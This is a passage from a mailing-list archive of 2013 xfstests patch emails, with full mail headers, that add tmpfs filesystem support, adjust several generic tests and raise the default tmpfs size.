a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=9WbB3j/rqSCasgoZI6ZANx3o0b65JhudHmMOHNFCjbk=; b=mdD/bSX8GYtdTPe8QIIFQNJaY+TztUA7nlnlR+DKIrKDrW30Va9Vv4yXLub9JmYvOw A6a7ei6soL2xdHNus9+IiI6mRFN/rqFVpXAOE23pNWBtEkvOFp6GPYXYWwni4MJDsupX mhCk/xDAFZLJhTdUSbZU+mMGC6sV+k02jJwiy40CZyJoHkoxfkUek27DvGf/2NcIQFfH udx0ox0EPLulhOnPvAHVL2CiPJ3+1LYB9zJ9DsAR/pQpsS5EmGaTR8TpifYzbYURlhr0 gonmQnwL+X15q6jD6CZs438xVbD+0MnPtwLG2qYnn6KCuDFE5bRGCwEoZ2bXKM8GIifW szog== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=9WbB3j/rqSCasgoZI6ZANx3o0b65JhudHmMOHNFCjbk=; b=AuvXvHPxAgVAjmjqQtP55GFmo11pesaWNVMEW+hP6rA2ykxr26Wsbu8dIYXUK7DXbw 0Z06nCIEvmuElhbBIClfi1GlEmVl/EwkqsNi56zgjgO12DoVdiBax85FIOCVXQY/GaC7 U7aeA4ouDKyi+I5el5vbNekFUwct6og9qZM3cI1QKRu8ose9DvNmDVmYz5CyUEvS30We a9agK5++6TSgV0oeKVqL/H9F3lt8bpgBH57MQJ3LxiHol40OKfLdpZxq4+GuGItkTCCN QiaXkdsTeGZR4PSsBOxkHio+sIS9c0fk5Ni8qLtwR1WwKAK4kKCgNJQx1nesq/ERZziT N7oA== X-Gm-Message-State: ALoCoQmzouvBtEPHm2Nsj4pjW4jwyK/tK66H8D/rtR/Mb7wMDH89l/8ZSDPL8wzXIP2W7oZwpcPcp+THE1WQGk6TFCY9Nn+NP1Tu3V0GHXYngMjrBH6rPjtytQZc2go0a86XD1u+7lnP3hlv7j3pyA3jyR3RFnY7iPXdKKKSZBjczqw6KLm17ik82AWcOGdfw0+7Zy2HygEF X-Received: by 10.42.136.136 with SMTP id u8mr7690330ict.16.1386706337422; Tue, 10 Dec 2013 12:12:17 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id d9si704459yhl.2.2013.12.10.12.12.17 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:17 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id D71AC31C2A4; Tue, 10 Dec 2013 12:12:16 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 02/10] xfstests: use mount point instead of device name Date: Tue, 10 Dec 2013 12:11:53 -0800 X-ASG-Orig-Subj: [PATCH 02/10] xfstests: use mount point instead of device name Message-Id: <1386706321-15795-3-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ob0-f202.google.com[209.85.214.202] X-Barracuda-Start-Time: 1386706338 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins A tmpfs mount does not involve any block device, its $SCRATCH_DEV is nothing but a place-holder, so apply 'df' or 'stat' to its mount point $SCRATCH_MNT instead of to $SCRATCH_DEV. It also fixes a bug in generic/256: "stat -f $SCRATCH_DEV" returning the block size of the root file system, but not the test file system. $ df | grep sda /dev/sda1 233191 62959 157791 29% /boot $ sudo dumpe2fs -h /dev/sda1 | grep "Block size" Block size: 1024 $ stat -f /dev/sda1 | grep "Block size" Block size: 4096 Fundamental block size: 4096 $ stat -f /boot | grep "Block size" Block size: 1024 Fundamental block size: 1024 Signed-off-by: Hugh Dickins Signed-off-by: Theodore Ts'o Signed-off-by: Junho Ryu --- tests/generic/256 | 2 +- tests/generic/273 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/generic/256 b/tests/generic/256 index cfe7237..c6c8f2f 100755 --- a/tests/generic/256 +++ b/tests/generic/256 @@ -170,7 +170,7 @@ _scratch_mount # Test must be able to write files with non-root permissions chmod 777 $SCRATCH_MNT -block_size=`stat -f $SCRATCH_DEV | grep "Block size" | cut -d " " -f3` +block_size=`stat -f $SCRATCH_MNT | grep "Block size" | cut -d " " -f3` _test_full_fs_punch $(( $block_size * 2 )) $block_size 500 $SCRATCH_MNT/252.$$ $block_size status=0 ; exit diff --git a/tests/generic/273 b/tests/generic/273 index 8e121a2..dc87a92 100755 --- a/tests/generic/273 +++ b/tests/generic/273 @@ -68,7 +68,7 @@ _file_create() cd $SCRATCH_MNT/origin - _disksize=`$DF_PROG --block-size=1 $SCRATCH_DEV | tail -1 | awk '{ print $5 }'` + _disksize=`$DF_PROG --block-size=1 $SCRATCH_MNT | tail -1 | awk '{ print $5 }'` _disksize=$(($_disksize / 3)) _num=$(($_disksize / $count / $threads / 4096)) _count=$count -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B4F057F7B for ; Tue, 10 Dec 2013 14:12:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A53C08F8033 for ; Tue, 10 Dec 2013 12:12:20 -0800 (PST) X-ASG-Debug-ID: 1386706339-04cb6c537d683000001-NocioJ Received: from mail-ie0-f202.google.com (mail-ie0-f202.google.com [209.85.223.202]) by cuda.sgi.com with ESMTP id qyCm9NKyqHpTcgQS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:20 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.202 Received: by mail-ie0-f202.google.com with SMTP id lx4so1116562iec.3 for ; Tue, 10 Dec 2013 12:12:19 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=/qCTICt0hiCGZ8eYOQwdaZVWbEFpj9AMTCgRA0/j+0o=; b=mXhj8xKK3qFbyB5st5MVtRZvQDSAoc82c43Uif01uJqn4UHoTstwQyhxjA0+u/mEln wt5NrabFa0ydyz6T7ziMJwrj41qo0uB75qe7/sdzrT3oj/Pvurel+ZubbahUEuez7J0o Jg88W+hhUkKcG/e+GVjYCI2dK8y0C0+RK1A+8krXdZUid//nKkUbkJZNZx/0/moGyQ/f TsIp7vYkuKMOWnCHCjhjtmMClBJj2eztnSzSv7+Jl4ouDEmzlieMxXkY8OMgddSRKkjs kNxesLV99drBYJOvKazv72ErQ1Evro63yYWkgbAualf7kRtlEhmFyUcuq6is/ikuj2gf mmiw== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=/qCTICt0hiCGZ8eYOQwdaZVWbEFpj9AMTCgRA0/j+0o=; b=MxoS2nr7rWVVgQ7DMR+4dZ5taDGn1CZUQZLXNCZGdKs8ARariZYgbJYWC+pInYjy4X /i7nMmBmNGk4hS8Gwb497FrpMU3HTgfPHbQEEuu+tm8ldd5SIJSv+5jcvk7zKoMADM53 WBMJZWw1iaPhRQgd9q2PqYOkPH9BOhq6Ni8IRgqlGgeuBWtNYaGQ0Bxm+omqCSaBnTIk WHXNfrq9Digt7T1/EjeNBgS40kARQocvf0a6fjv27tqjJ1zwTtv1mEg8ywTBHk5peiZJ uXPBMwBJ4svk/U8XG8fm+BgTDLN/UGiqCdl3JjybPhSaM27cA2KY3mrGVHee//P4ecJo rAvA== X-Gm-Message-State: ALoCoQkqb2vATZ23KOdimi2XiVmWScCdMcj4PT34R4hKsxiPMpScOxs6kr1wHMGfztfuweBGLsWND7B+2wENDoZzOgOukMqLosrbQMGKCOPtQV/Ur5zGJsczWiySuXHWX52O/F30Rg7vJXd+feSaPYwojl3qZHlRp1DjoIKpzf7FOuKyXUpCZt3DoX60rhIm4YfqPBXZnHBG X-Received: by 10.182.151.42 with SMTP id un10mr9424879obb.12.1386706339800; Tue, 10 Dec 2013 12:12:19 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id h23si3351608yhk.6.2013.12.10.12.12.19 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:19 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 3B3E531C281; Tue, 10 Dec 2013 12:12:19 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support Date: Tue, 10 Dec 2013 12:11:57 -0800 X-ASG-Orig-Subj: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support Message-Id: <1386706321-15795-7-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f202.google.com[209.85.223.202] X-Barracuda-Start-Time: 1386706340 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature generic/225 runs fiemap. It would be nice to call _require_xfs_io_fiemap like other tests which use fiemap. Signed-off-by: Junho Ryu --- tests/generic/225 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/generic/225 b/tests/generic/225 index 73b125a..af65506 100755 --- a/tests/generic/225 +++ b/tests/generic/225 @@ -44,6 +44,7 @@ _cleanup() _supported_fs generic _supported_os Linux _require_scratch +_require_xfs_io_fiemap _scratch_mkfs > /dev/null 2>&1 _scratch_mount > /dev/null 2>&1 -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AE7A87F82 for ; Tue, 10 Dec 2013 14:12:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8B534304067 for ; Tue, 10 Dec 2013 12:12:19 -0800 (PST) X-ASG-Debug-ID: 1386706338-04cb6c537d682ff0001-NocioJ Received: from mail-ie0-f202.google.com (mail-ie0-f202.google.com [209.85.223.202]) by cuda.sgi.com with ESMTP id TbGMSFJGMgMUSfLe (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.202 Received: by mail-ie0-f202.google.com with SMTP id lx4so1115766iec.5 for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=8CTsEL0+OvUZqorX4HA+pXQ4tvBrKDHlkrUoP+QPMQE=; b=VUdb2m7SxJpvV0zRzmwaKdBfW22v0OZ4A9PHBQfAxoP662ymMdCvBfyn/TysdxoNnn CdeAFor2VM7v9B/rvYnb3nkh8kMu525285sXGJ8LMBQOKyVSrGQOfEOfiCUHU3VrxbLH m23zRyJC25meGZJGn12PmboQ4Pt3TKsagTLADnXn87TpgwPXTbQ5T1ZskBZyqX5KWvbN zwiFsMyANqEkEpvuMFJjyHY2P/189f2pKcPv++rEv4cXLe1RiKnqWQEE5v2GT6lwYJ8N B+4ogg48LrZ+nlvCRToBQiJkU6sHURWAo0fYhhFBbuL0yNMUiyQDkI9Nl7kh/r/d3cbB bJ6Q== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=8CTsEL0+OvUZqorX4HA+pXQ4tvBrKDHlkrUoP+QPMQE=; b=GayRKRlS1uJ4FKdVj8p56vyh0A0RBPXjOXwtXZzuRC2AgwYn2MswBhuBuSF13Akfil mrvI8NU/WwRU9lCPNS2scq+L6ZIGhLseGJ+FuENmHVK8RjdwpvnzPxcqcb4lJUsqDx5n bwo2NV+uDrhAZ2fnNOyV3fT3NytFBYAFqUG0tUck2wQwKX9T/h6O9lmJxhsJYgQgxi0r 9IrbkL/8g5RSfgpLhtbxlGjZ/YP8ciE08dzknVqiY6kUEvjrfKraxfYjNbtRb8+tnEim s4TukHQhfAeavjEZrePdDDqjdvIsAWV0U4xKFLtZmnxcIbhF9Um9DCPHyAXFwURGHgr9 MDhA== X-Gm-Message-State: ALoCoQkX4FXDGUVMhPZlVyHBcm1RCDIdLyFe5hYubhZSkNYakcwjO0qKdIXmW/Zr4K5dbRFlfUqs+dTagF7aakHJN1IU56/g1AreY2voJ/b4eEmtz0s5ORIGHjnG18anDr7sxDvrXGrFNeROuAqhRF3J39MBAZOLURuw0a9QFCmDjLRmdKnFO2MXseyfRuoc5FMe6aYozpqF X-Received: by 10.182.111.134 with SMTP id ii6mr1515988obb.38.1386706338561; Tue, 10 Dec 2013 12:12:18 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id h23si3351529yhk.6.2013.12.10.12.12.18 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:18 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 0A46931C2A4; Tue, 10 Dec 2013 12:12:17 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 04/10] xfstests: increase tmpfs memory size Date: Tue, 10 Dec 2013 12:11:55 -0800 X-ASG-Orig-Subj: [PATCH 04/10] xfstests: increase tmpfs memory size Message-Id: <1386706321-15795-5-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1386706321-15795-1-git-send-email-jayr@google.com> References: <1386706321-15795-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ie0-f202.google.com[209.85.223.202] X-Barracuda-Start-Time: 1386706338 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 512M is not enough for generic/129, generic/213 and generic/247. Raise default tmpfs size to 1G. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- common/rc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/common/rc b/common/rc index 83d56a1..57f7ccd 100644 --- a/common/rc +++ b/common/rc @@ -113,8 +113,8 @@ _mount_opts() export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" ;; tmpfs) - # We need to specify the size at mount, use 512 MB by default - export MOUNT_OPTIONS="-o size=512M $TMPFS_MOUNT_OPTIONS" + # We need to specify the size at mount + export MOUNT_OPTIONS="-o size=${DEFAULT_TMPFS_SIZE_MB}M $TMPFS_MOUNT_OPTIONS" ;; *) ;; @@ -168,6 +168,8 @@ _fsck_opts() } [ -z "$FSTYP" ] && FSTYP=xfs +# Default tmpfs size in megabytes. +[ -z "$DEFAULT_TMPFS_SIZE_MB" ] && DEFAULT_TMPFS_SIZE_MB=1024 [ -z "$MOUNT_OPTIONS" ] && _mount_opts [ -z "$MKFS_OPTIONS" ] && _mkfs_opts [ -z "$FSCK_OPTIONS" ] && _fsck_opts -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 386317F7B for ; Tue, 10 Dec 2013 14:12:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29D9430406B for ; Tue, 10 Dec 2013 12:12:18 -0800 (PST) X-ASG-Debug-ID: 1386706336-04cbb0416768bd90001-NocioJ Received: from mail-pb0-f74.google.com (mail-pb0-f74.google.com [209.85.160.74]) by cuda.sgi.com with ESMTP id jsTSTCHs3LkALSS2 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:16 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.160.74 X-Barracuda-IPDD: Level1 [google.com/209.85.160.74] Received: by mail-pb0-f74.google.com with SMTP id uo5so882364pbc.5 for ; Tue, 10 Dec 2013 12:12:16 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.160.74] X-Barracuda-IPDD: Level1 [google.com/209.85.160.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=yNz83Eh7++j1MUJoX+Kn9QAJt/eYlk9maJl8EijuNfE=; b=PaRKG0KMqJrsI9CAv/HGBsq+De06SoPOexcKDyOQunrwOl3ToCMkx9BGXNPvtCvmzz DXWGrohyRQmtkAPIsAubDmwq26b6CA3SaQxINMO5NRia5Oktst0uMLUkArDVuxuFEzJZ ONW2fBZ+sCT1WFOBBHKDbIJ0VcRIr+y2bQYvRN5YGvdwGGLOUhtOsapWU4qgHPL1lO/Q TxMPTv6wbHgxFxPNzAL362N+pPjX7G3r4+YvA1lcX7Rvm789JisZckwAlMQGYqspN8fp K3ZFwFPdsfO07db9cUMxZuOxjld51IvmiekR9/HxKFf0HhmgwDTdPhEwE1lHT7gor+K1 Lpjw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id; bh=yNz83Eh7++j1MUJoX+Kn9QAJt/eYlk9maJl8EijuNfE=; b=VDv306OW2CyfMtpcIXKombRlHXbxzGAoeWwaft/22NAkwo3uKU133ubhnfB0NhcPAf r3gADs8pPzfJCtiKPNVTbCFxrEzvk/yGhpY42+i0XYFTG43nE4DXkHMNmJyGrk4bEUV/ DNDr7awox9LCJddJoodVqse5KspjzzXO24XfcRkzaBuRAJ6XsLGr0cH+DLdvP6yFquSv K1XoJuug4mw8wwbUi9EWkIqElQkOZCbo8gPBgLpgxu9V3Urk6dfUyBBkNqoVRCe9dXNW iqdxvfEaXFhnDsLz4Vq+SHr+0JhJWg+4qwk9EzDDBDQq2qDQxkOysXH9fhgOXW6LCBRb s3WQ== X-Gm-Message-State: ALoCoQnAw1LoP081KYBvH4wbUq0fdAI+mf7PFNuVUG880hFQBRTSD08H2Uupevnpmemy6usShwd1YkWVdgjqe5cZTLGxQy9/a7TmcZklsvT7x9uNe96QNQbXz2CKlnuqmdNMQvF3mq5cHHe+0E1bL8jh1WrAcyz6B48dom1CWOk9Lwuf2VWqFrKyBrL6ojVAi8ZP++aKfUvb X-Received: by 10.67.14.70 with SMTP id fe6mr14149263pad.15.1386706336198; Tue, 10 Dec 2013 12:12:16 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id c8si1260258yhk.7.2013.12.10.12.12.16 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 10 Dec 2013 12:12:16 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 9A08631C281; Tue, 10 Dec 2013 12:12:15 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH 00/10] Add tmpfs filesystem support Date: Tue, 10 Dec 2013 12:11:51 -0800 X-ASG-Orig-Subj: [PATCH 00/10] Add tmpfs filesystem support Message-Id: <1386706321-15795-1-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 X-Barracuda-Connect: mail-pb0-f74.google.com[209.85.160.74] X-Barracuda-Start-Time: 1386706336 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi all, Boris Ranto has sent a series of 3 patches adding tmpfs support. http://oss.sgi.com/archives/xfs/2013-05/msg00069.html This one only contains the first patch from Boris Ranto's series followed by more patches in order to either run or not run all generic tests instead of failing. This one does not contains other 2 patches in Boris Ranto's series just because rest these patehes do not depend on those, but it will be nice if those are also reviewed as well. Boris Ranto (1): xfstests: Add tmpfs support Hugh Dickins (3): xfstests: use mount point instead of device name xfstests: _scratch_mkfs_sized() for tmpfs xfstests: add executable permission to tests Junho Ryu (6): xfstests: increase tmpfs memory size xfstests: do not unmount tmpfs during remount. xfstests: fix generic/225 to check fiemap support xfstests: fix generic/127 to call _cleanup() only once xfstests: check O_DIRECT support before testing direct I/O xfstests: skip parts of tests which cannot work on tmpfs check | 2 ++ common/rc | 78 +++++++++++++++++++++++++++++++++++++++++++++++++-- tests/generic/053 | 6 ++-- tests/generic/076 | 2 ++ tests/generic/091 | 1 + tests/generic/127 | 1 - tests/generic/130 | 1 + tests/generic/133 | 1 + tests/generic/135 | 18 +++--------- tests/generic/169 | 20 ++++--------- tests/generic/169.out | 6 ++-- tests/generic/192 | 3 +- tests/generic/225 | 1 + tests/generic/226 | 4 +-- tests/generic/256 | 2 +- tests/generic/258 | 3 +- tests/generic/263 | 1 + tests/generic/273 | 2 +- tests/generic/277 | 2 ++ tests/generic/299 | 1 + tests/generic/300 | 1 + tests/generic/306 | 3 +- tests/generic/311 | 0 tests/generic/314 | 0 tests/generic/315 | 0 tests/generic/321 | 0 tests/generic/322 | 0 27 files changed, 110 insertions(+), 49 deletions(-) mode change 100644 => 100755 tests/generic/311 mode change 100644 => 100755 tests/generic/314 mode change 100644 => 100755 tests/generic/315 mode change 100644 => 100755 tests/generic/321 mode change 100644 => 100755 tests/generic/322 -- 1.8.5.1 From jayr@google.com Tue Dec 10 14:12:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5D3ED7F85 for ; Tue, 10 Dec 2013 14:12:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 229C9304067 for ; Tue, 10 Dec 2013 12:12:21 -0800 (PST) X-ASG-Debug-ID: 1386706339-04bdf0132318f810001-NocioJ Received: from mail-ie0-f202.google.com (mail-ie0-f202.google.com [209.85.223.202]) by cuda.sgi.com with ESMTP id zt8k6vCF24hLGwpS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Dec 2013 12:12:19 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.202 Received: by mail-ie0-f202.google.com with SMTP id lx4so1115785iec.1 for ; Tue, 10 Dec 2013 12:12:19 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=3pVXIqIxW0+oomX4xNav0lXKVS4xAkasqnMTXWl/jRI=; b=MfNAniEfpyj8WBmpMNUSfgppdobhCFWswByWts9REzSlxk9AfDAvak5yX69uKzOr1l 6JDZmRmSBX77Jjl6k1hGixhjzOkOpVX49XQlARkNZJzjTR4ii/cz+l7olH14it7Beeso sf7uwUdWdgFXNrWqNDJAoKjFziejBvnEgV+v9xmsJgT6Gd951rYBbZmO7OqwxubO87Ut feIBhlDGh4RR423LAThzw+koQ+S6oo0kZ8qP+octdW+H1s0EaJPQM78uzfXkhOLewVQh tCvnzNfSpY4Yf/Eo42yprbNADVm95Ah+P45FlVZgjTdzInORje7cOxICW9ZAx52s9Hg7 Qp7Q== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=3pVXIqIxW0+oomX4xNav0lXKVS4xAkasqnMTXWl/jRI=; b=WVe1cT4iSi2Ojd7Ig5PrjVj8wpomBEOOJkB4bEdUSCVQyLn5JzXjhxcLL2H7B7l+RJ 9PHOIf6OUDAOJ9q2O2p7auUwWBhLZcXg/WMkPLqHIYHGCBe4bXnV692Oc0smmQ3WIRNQ ml6OF/R1tEEHvhxOQ/1GQpPEIzMtIbkNUJL7zVXfd9W2jeiCcfLyhfBkNsWMB0E877Fj xvtuYRlui5+FVvwQwfFxqytthIgpylQ0/Jl/PDqdlDn5fxyeiZlXjPeX1PylaOcWnmXP Qp8+5YdFls1XGDNejLqYDWkAZworW1hT0+0YrzNIs6M1vDhNfymz7luhBO7u5f1+6149 2IFg== X-Gm-Message-State: 